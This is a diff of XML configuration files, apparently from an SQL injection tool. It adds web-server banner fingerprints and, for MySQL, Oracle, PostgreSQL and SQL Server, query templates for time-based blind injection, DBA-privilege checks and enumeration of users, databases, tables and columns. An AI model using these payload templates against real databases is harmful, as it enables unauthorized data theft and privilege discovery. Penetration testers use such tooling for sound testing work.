<info type="Linux" distrib="Ubuntu" release="8.10" codename="Intrepid Ibex"/>
</regexp>
</root>

21
xml/banner/servlet.xml Normal file
View File

@@ -0,0 +1,21 @@
<?xml version="1.0" encoding="UTF-8"?>
<!-- Reference: http://www.http-stats.com/Servlet-Engine -->
<root>
<regexp value="Tomcat( Web Server)*\/([\d\.]+)">
<info technology="Tomcat" tech_version="1"/>
</regexp>
<regexp value="JSP[\-\_\/\ ]([\d\.]+)">
<info technology="JSP" tech_version="1"/>
</regexp>
<regexp value="Servlet[\-\_\/\ ]([\d\.]+)">
<info technology="Servlet" tech_version="1"/>
</regexp>
<regexp value="Java[\-\_\/\ ]([\d\.]+)">
<info technology="Java" tech_version="1"/>
</regexp>
</root>

View File

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="UTF-8"?>
<!-- Reference: http://www.http-stats.com/Set-Cookie2 -->
<root>
<regexp value="([\d\.]+)">
<info technology="Microsoft Share Point" tech_version="1" type="Windows"/>
</regexp>
</root>

View File

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="UTF-8"?>
<!-- Reference: http://www.http-stats.com/X-AspNet-Version -->
<root>
<regexp value="([\d\.]+)">
<info technology="ASP.NET" tech_version="1" type="Windows" distrib="2003|2008"/>
</regexp>
</root>

View File

@@ -0,0 +1,29 @@
<?xml version="1.0" encoding="UTF-8"?>
<!-- Reference: http://www.http-stats.com/X-Powered-By -->
<root>
<regexp value="PHP[\-\_\/\ ]([\d\.]+)">
<info technology="PHP" tech_version="1"/>
</regexp>
<regexp value="JSP[\-\_\/\ ]([\d\.]+)">
<info technology="JSP" tech_version="1"/>
</regexp>
<regexp value="ASP[\/\d\.]*$">
<info technology="ASP" type="Windows"/>
</regexp>
<regexp value="ASP\.NET">
<info technology="ASP.NET" type="Windows"/>
</regexp>
<regexp value="(JBoss|Tomcat)[\-\_\/\ ]*([\d\.]+)">
<info technology="Tomcat" tech_version="2"/>
</regexp>
<regexp value="Servlet[\-\_\/\ ]*([\d\.]+)">
<info technology="Servlet" tech_version="1"/>
</regexp>
</root>

View File

@@ -14,11 +14,20 @@
<limitstring query=" LIMIT "/> <limitstring query=" LIMIT "/>
<order query="ORDER BY %s ASC"/> <order query="ORDER BY %s ASC"/>
<count query="COUNT(%s)"/> <count query="COUNT(%s)"/>
<comment query="#" query2="/*"/>
<!--
NOTE: MySQL 5.0.12 introduced SLEEP() function
References:
* http://dev.mysql.com/doc/refman/5.0/en/news-5-0-12.html
* http://dev.mysql.com/doc/refman/5.0/en/miscellaneous-functions.html#function_sleep
-->
<timedelay query="SLEEP(%d)" query2="SELECT BENCHMARK(1000000, MD5('%d'))"/>
<substring query="MID((%s), %d, %d)"/> <substring query="MID((%s), %d, %d)"/>
<inference query="AND ORD(MID((%s), %d, 1)) > %d"/> <inference query="AND ORD(MID((%s), %d, 1)) > %d"/>
<banner query="VERSION()"/> <banner query="VERSION()"/>
<current_user query="CURRENT_USER()"/> <current_user query="CURRENT_USER()"/>
<current_db query="DATABASE()"/> <current_db query="DATABASE()"/>
<is_dba query="SELECT (CASE WHEN super_priv='Y' THEN 1 ELSE 0 END) FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1" query2="SELECT IF((SELECT privilege_type FROM information_schema.USER_PRIVILEGES WHERE grantee LIKE '%s' AND privilege_type='SUPER' LIMIT 0, 1)='SUPER', 1, 0)"/>
<users> <users>
<inband query="SELECT grantee FROM information_schema.USER_PRIVILEGES" query2="SELECT user FROM mysql.user"/> <inband query="SELECT grantee FROM information_schema.USER_PRIVILEGES" query2="SELECT user FROM mysql.user"/>
<blind query="SELECT DISTINCT(grantee) FROM information_schema.USER_PRIVILEGES LIMIT %d, 1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d, 1" count="SELECT COUNT(DISTINCT(grantee)) FROM information_schema.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user"/> <blind query="SELECT DISTINCT(grantee) FROM information_schema.USER_PRIVILEGES LIMIT %d, 1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d, 1" count="SELECT COUNT(DISTINCT(grantee)) FROM information_schema.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user"/>
@@ -62,11 +71,14 @@
<limitstring/> <limitstring/>
<order query="ORDER BY %s ASC"/> <order query="ORDER BY %s ASC"/>
<count query="COUNT(%s)"/> <count query="COUNT(%s)"/>
<comment query="--"/>
<timedelay query="BEGIN DBMS_LOCK.SLEEP(%d); END" query2="EXEC DBMS_LOCK.SLEEP(%d.00)" query3="EXEC USER_LOCK.SLEEP(%d00)"/>
<substring query="SUBSTR((%s), %d, %d)"/> <substring query="SUBSTR((%s), %d, %d)"/>
<inference query="AND ASCII(SUBSTR((%s), %d, 1)) > %d"/> <inference query="AND ASCII(SUBSTR((%s), %d, 1)) > %d"/>
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/> <banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
<current_user query="SELECT SYS.LOGIN_USER FROM DUAL"/> <current_user query="SELECT SYS.LOGIN_USER FROM DUAL"/>
<current_db query="SELECT SYS.DATABASE_NAME FROM DUAL"/> <current_db query="SELECT SYS.DATABASE_NAME FROM DUAL"/>
<is_dba query="SELECT CASE WHEN ((SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE GRANTEE=SYS.LOGIN_USER AND GRANTED_ROLE='DBA')='DBA') THEN 1 ELSE 0 END FROM DUAL"/>
<users> <users>
<inband query="SELECT USERNAME FROM SYS.ALL_USERS"/> <inband query="SELECT USERNAME FROM SYS.ALL_USERS"/>
<blind query="SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS limit FROM SYS.ALL_USERS) WHERE limit=%d" count="SELECT COUNT(DISTINCT(USERNAME)) FROM SYS.ALL_USERS"/> <blind query="SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS limit FROM SYS.ALL_USERS) WHERE limit=%d" count="SELECT COUNT(DISTINCT(USERNAME)) FROM SYS.ALL_USERS"/>
@@ -109,11 +121,14 @@
<limitstring query=" OFFSET "/> <limitstring query=" OFFSET "/>
<order query="ORDER BY %s ASC"/> <order query="ORDER BY %s ASC"/>
<count query="COUNT(%s)"/> <count query="COUNT(%s)"/>
<comment query="--" query2="/*"/>
<timedelay query="SELECT pg_sleep(%d)" query2="CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep(%d)"/>
<substring query="SUBSTR((%s)::text, %d, %d)"/> <substring query="SUBSTR((%s)::text, %d, %d)"/>
<inference query="AND ASCII(SUBSTR((%s)::text, %d, 1)) > %d"/> <inference query="AND ASCII(SUBSTR((%s)::text, %d, 1)) > %d"/>
<banner query="VERSION()"/> <banner query="VERSION()"/>
<current_user query="CURRENT_USER"/> <current_user query="CURRENT_USER"/>
<current_db query="CURRENT_DATABASE()"/> <current_db query="CURRENT_DATABASE()"/>
<is_dba query="SELECT (CASE WHEN usesuper=true THEN 1 ELSE 0 END) FROM pg_user WHERE usename=CURRENT_USER OFFSET 0 LIMIT 1"/>
<users> <users>
<inband query="SELECT usename FROM pg_user"/> <inband query="SELECT usename FROM pg_user"/>
<blind query="SELECT DISTINCT(usename) FROM pg_user OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/> <blind query="SELECT DISTINCT(usename) FROM pg_user OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/>
@@ -157,11 +172,14 @@
<limitstring/> <limitstring/>
<order query="ORDER BY %s ASC"/> <order query="ORDER BY %s ASC"/>
<count query="COUNT(%s)"/> <count query="COUNT(%s)"/>
<comment query="--" query2="/*"/>
<timedelay query="WAITFOR DELAY '0:0:%d'"/>
<substring query="SUBSTRING((%s), %d, %d)"/> <substring query="SUBSTRING((%s), %d, %d)"/>
<inference query="AND ASCII(SUBSTRING((%s), %d, 1)) > %d"/> <inference query="AND ASCII(SUBSTRING((%s), %d, 1)) > %d"/>
<banner query="@@VERSION"/> <banner query="@@VERSION"/>
<current_user query="SYSTEM_USER"/> <current_user query="SYSTEM_USER"/>
<current_db query="DB_NAME()"/> <current_db query="DB_NAME()"/>
<is_dba query="SELECT (CASE WHEN is_srvrolemember('sysadmin')=1 THEN 1 ELSE 0 END)"/>
<users> <users>
<inband query="SELECT name FROM master..syslogins" query2="SELECT name FROM sys.sql_logins"/> <inband query="SELECT name FROM master..syslogins" query2="SELECT name FROM sys.sql_logins"/>
<blind query="SELECT TOP 1 name FROM master..syslogins WHERE name NOT IN (SELECT TOP %d name FROM master..syslogins)" query2="SELECT TOP 1 name FROM sys.sql_logins WHERE name NOT IN (SELECT TOP %d name FROM sys.sql_logins)" count="SELECT LTRIM(STR(COUNT(name))) FROM master..syslogins" count2="SELECT LTRIM(STR(COUNT(name))) FROM sys.sql_logins"/> <blind query="SELECT TOP 1 name FROM master..syslogins WHERE name NOT IN (SELECT TOP %d name FROM master..syslogins)" query2="SELECT TOP 1 name FROM sys.sql_logins WHERE name NOT IN (SELECT TOP %d name FROM sys.sql_logins)" count="SELECT LTRIM(STR(COUNT(name))) FROM master..syslogins" count2="SELECT LTRIM(STR(COUNT(name))) FROM sys.sql_logins"/>
@@ -174,17 +192,15 @@
<privileges/> <privileges/>
<dbs> <dbs>
<inband query="SELECT name FROM master..sysdatabases"/> <inband query="SELECT name FROM master..sysdatabases"/>
<blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases)" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/> <blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
</dbs> </dbs>
<!-- TODO: condition? -->
<tables> <tables>
<inband query="SELECT name FROM %s..sysobjects WHERE xtype IN ('u', 'v')"/> <inband query="SELECT name FROM %s..sysobjects WHERE xtype IN ('u', 'v')"/>
<blind query="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype IN ('u', 'v') AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype IN ('u', 'v'))" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE xtype IN ('u', 'v')"/> <blind query="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype IN ('u', 'v') AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype IN ('u', 'v') ORDER BY name ASC) ORDER BY name ASC" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE xtype IN ('u', 'v')"/>
</tables> </tables>
<!-- TODO: getRange like Oracle? -->
<columns> <columns>
<inband query="SELECT %s..syscolumns.name, TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'"/> <inband query="SELECT %s..syscolumns.name, TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'"/>
<blind query="SELECT TOP 1 name FROM (SELECT TOP %s name FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')) CTABLE" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')"/> <blind query="SELECT TOP 1 name FROM (SELECT TOP %s name FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s') ORDER BY name ASC) CTABLE ORDER BY name DESC" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')"/>
</columns> </columns>
<dump_table> <dump_table>
<inband query="SELECT %s FROM %s..%s"/> <inband query="SELECT %s FROM %s..%s"/>